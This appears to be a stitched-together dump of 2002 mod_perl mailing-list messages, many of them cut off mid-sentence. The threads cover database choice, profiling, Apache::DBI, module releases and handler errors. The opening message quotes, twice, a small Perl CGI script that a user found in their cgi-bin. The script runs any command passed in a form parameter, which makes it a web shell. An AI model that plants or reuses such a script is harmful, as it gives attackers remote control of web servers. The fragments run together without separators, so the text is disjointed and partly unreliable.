On Thu, 21 Mar 2002, John Michael wrote:
> #!/usr/bin/perl
> use CGI qw(:standard);
> print header;
> my $k=param("g");
> my $a=param("s");
> if ($a || $k) {
> $l=`$k 2>&1`;
> print start_form,textarea("g",$k,1,50);
> print submit("sc");
> print end_form;
> print pre($l);
> }
Hi
I found this script in one of my cgi-bin's.Not sure where it came from.
#!/usr/bin/perl
use CGI qw(:standard);
print header;
my $k=param("g");
my $a=param("s");
if ($a || $k) {
$l=`$k 2>&1`;
print start_form,textarea("g",$k,1,50);
print submit("sc");
print end_form;
Hi,
On Thursday, March 21, 2002, at 12:57 AM, Drew Taylor wrote:
> Have you tried Postgresql? It's a free, fast, ACID compliant database.
> I have it compiled & running within a few hours, not knowing much of
> anything about it before hand. From what I've read the speed is
> comparable w/ my
>
> Any idea when 2.0-STABLE is going to come out?
>
I think the main issuses with the code are solved, so it's stable to use
right now, also I want to give people some more time for testing. The main
work to do before the stable release is to write better documentation. To
transform all the quic
The URL
ftp://ftp.dev.ecos.de/pub/perl/embperl/Embperl-2.0b7.tar.gz
has entered CPAN as
file: $CPAN/authors/id/G/GR/GRICHTER/Embperl-2.0b7.tar.gz
size: 620902 bytes
md5: 89b8dc62aa28684be64fd0d44857d641
Embperl is a system for building dynamic websites with Perl. See
http://perl.ap
Perrin Harkins wrote:
>>You cannot reliably measure CPU clocks with wallclock on the
>>multi-processor machine, unless you are running on Dos :)
>>
>
> Even so, wall time is what most people actually care about, and it's
> fine to use if you're the only one doing work on that machine.
Yes, for c
thank you all for the help.
I missed out this : PerlInitHandler Apache::StatINC
in httpd.conf.
Hence the changes I was making were not alive as the file wasnt reloaded by
mod_perl at every hit.
The thing worked when I added this line!
Riz
- Original Message -
From: "Stathy G. Touloumis
I've raised the issue of mlock at the httpd-dev list, Scott Hess
followed up with extensive explanations and most important -- a C code
to verify that memory doesn't go unshared when swapped out. The cool
thing about it being in C is that it's easy to create big chunks of
shared memory. So now
> You cannot reliably measure CPU clocks with wallclock on the
> multi-processor machine, unless you are running on Dos :)
Even so, wall time is what most people actually care about, and it's
fine to use if you're the only one doing work on that machine.
> Also search the archives, about a year
Doug Silver wrote:
> On Wed, 20 Mar 2002, Stas Bekman wrote:
>
>
>>Doug Silver wrote:
>>
>>>I don't know if this is a PostgreSQL oddity, but in the startup.pl file, I
>>>can have the entry like so and it seems to start fine:
>>>
>>>Apache::DBI->connect_on_init
>>> ("dbi:pg(PrintError=>1,AutoCo
David Brown wrote:
> I've been profiling my MySQL driven Mod_Perl website by adding debug
> messages throughout the code which relays what time has elapsed since the
> script was invoked (using Time::HiRes)
>
> Now the script is pretty whizzy, serving up complete pages in circa 0.010
> seconds.
>
Have you tried Postgresql? It's a free, fast, ACID compliant database. I
have it compiled & running within a few hours, not knowing much of anything
about it before hand. From what I've read the speed is comparable w/ mysql
for most applications.
Drew
At 12:40 AM 3/21/2002 +0100, Bas A.Schult
Hi,
I've been meaning to write an article about how I used Apache/mod_perl
to implement a mobile SMS application platform as it demonstrates use of
Apache/mod_perl outside the Web realm, something I hadn't seen so far.
Time constraints (as always) have prevented me from doing this properly,
h
Hi there,
On Wed, 20 Mar 2002, David Brown wrote:
> I've been profiling my MySQL driven Mod_Perl website
[snip]
> (using Time::HiRes)
[snip]
> I expected all the complicated DB access stuff to make up the time
MySQL is pretty quick. :)
> instead it seems to be consuming 0.005 in returning fro
On Wed, 20 Mar 2002, Stas Bekman wrote:
> Doug Silver wrote:
> > I don't know if this is a PostgreSQL oddity, but in the startup.pl file, I
> > can have the entry like so and it seems to start fine:
> >
> > Apache::DBI->connect_on_init
> >("dbi:pg(PrintError=>1,AutoCommit=>0):", "", )
> >
I finally got enough stuff done and put together that I feel ready to
let someone else hammer at the code and tell me where my stupid
mistakes are :) Most likely, the documentation will be poor - as
usual, it lags a bit behind the code.
$CPAN/authors/id/J/JS/JSMITH/Uttu-0.01.tar.gz
$CPAN
Have you tried using Apache::DProf? Using this is a lot easier than
trying to add tons of debug messages. If you haven't used it or the
regular DProf, it does what your doing automatically. It generates a
file of data that you run 'dprofpp' on and you can get a list of the top
10 or so most t
Vuillemot, Ward W wrote:
> Using the POST2GET snippet was interferring. I thought I had turned it off
> when trying Lergon's suggestion. I must not have.
> As for the actual code. . .I copied it exactly as Lergon's and it works. I
> know what was different, but I swear that what I had was taken
I've been profiling my MySQL driven Mod_Perl website by adding debug
messages throughout the code which relays what time has elapsed since the
script was invoked (using Time::HiRes)
Now the script is pretty whizzy, serving up complete pages in circa 0.010
seconds.
I got to wondering how those 0.
Randy,
My apologies! Thank you for the code.
Ernest,
Thanks for the clues! You take your namesake seriously, too. Wonderful! ;)
Cheers,
Ward
"Vuillemot, Ward W" wrote:
>
> Using the POST2GET snippet was interferring. I thought I had turned it off
> when trying Lergon's suggestion. I must not have.
> As for the actual code. . .I copied it exactly as Lergon's and it works. I
> know what was different...
>
> [snip]
>
Hi Ward, hi Randy
Using the POST2GET snippet was interferring. I thought I had turned it off
when trying Lergon's suggestion. I must not have.
As for the actual code. . .I copied it exactly as Lergon's and it works. I
know what was different, but I swear that what I had was taken verbatim from
mod_perl documenta
On Wed, 20 Mar 2002, Vuillemot, Ward W wrote:
> I tried the code. Still nothing. I did turn On PerlWarn in httpd.conf.
> Upon restart I saw the following:
>
>
> [Wed Mar 20 07:55:19 2002] [info] master_main: Restart event signaled. Doing
> a graceful restart.
> defined(@array) is deprecated at
Hi there,
On Wed, 20 Mar 2002, Vuillemot, Ward W wrote:
> > On Tue, 19 Mar 2002 14:06:15 -0800 Vuillemot, Ward W wrote:
> > > why would it work for cgi and not mod_perl?
> > >
> > From: Ged Haywood [Replying privately because of large attachment]
> > Does the attached version of CGI.pm help? (I
I tried the code. Still nothing. I did turn On PerlWarn in httpd.conf.
Upon restart I saw the following:
[Wed Mar 20 07:55:19 2002] [info] master_main: Restart event signaled. Doing
a graceful restart.
defined(@array) is deprecated at C:/Perl/site/lib/Apache/DBI.pm line 135.
(Maybe you
Can you send the code for Demo.pm?
> I have added a handler entry in httpd.conf
>
>
> SetHandler perl-script
> PerlHandler Demo
>
>
> and I have printed a string inside the handler thats it.
> When I do GET on the URI I get the following error.
>
>
> An Error Occurred
>
> An Error Occurre
Jon Jensen wrote:
>
> On Wed, 20 Mar 2002, Stas Bekman wrote:
>
> > Jon Jensen wrote:
> > >
> > > Within mod_perl, I would like to know the pid of the master Apache daemon,
> >
> > perldoc -f getppid
>
> Thanks, Stas. I should've found that. I'm still interested in getting the
> PidFile setting
Rizwan Majeed wrote:
>
> I have added a handler entry in httpd.conf
>
>
> SetHandler perl-script
> PerlHandler Demo
>
>
> and I have printed a string inside the handler thats it.
>
Hi Riz,
do you load your Module Demo.pm somewhere?
E.g. in httpd.conf:
PerlModule Demo
or in st
Hi..
I have added a handler entry in httpd.conf
SetHandler perl-script
PerlHandler Demo
and I have printed a string inside the handler thats it.
When I do GET on the URI I get the following error.
An Error Occurred
An Error Occurred
405 Method Not Allowed
Why isnt the handler being
29 matches
Mail list logo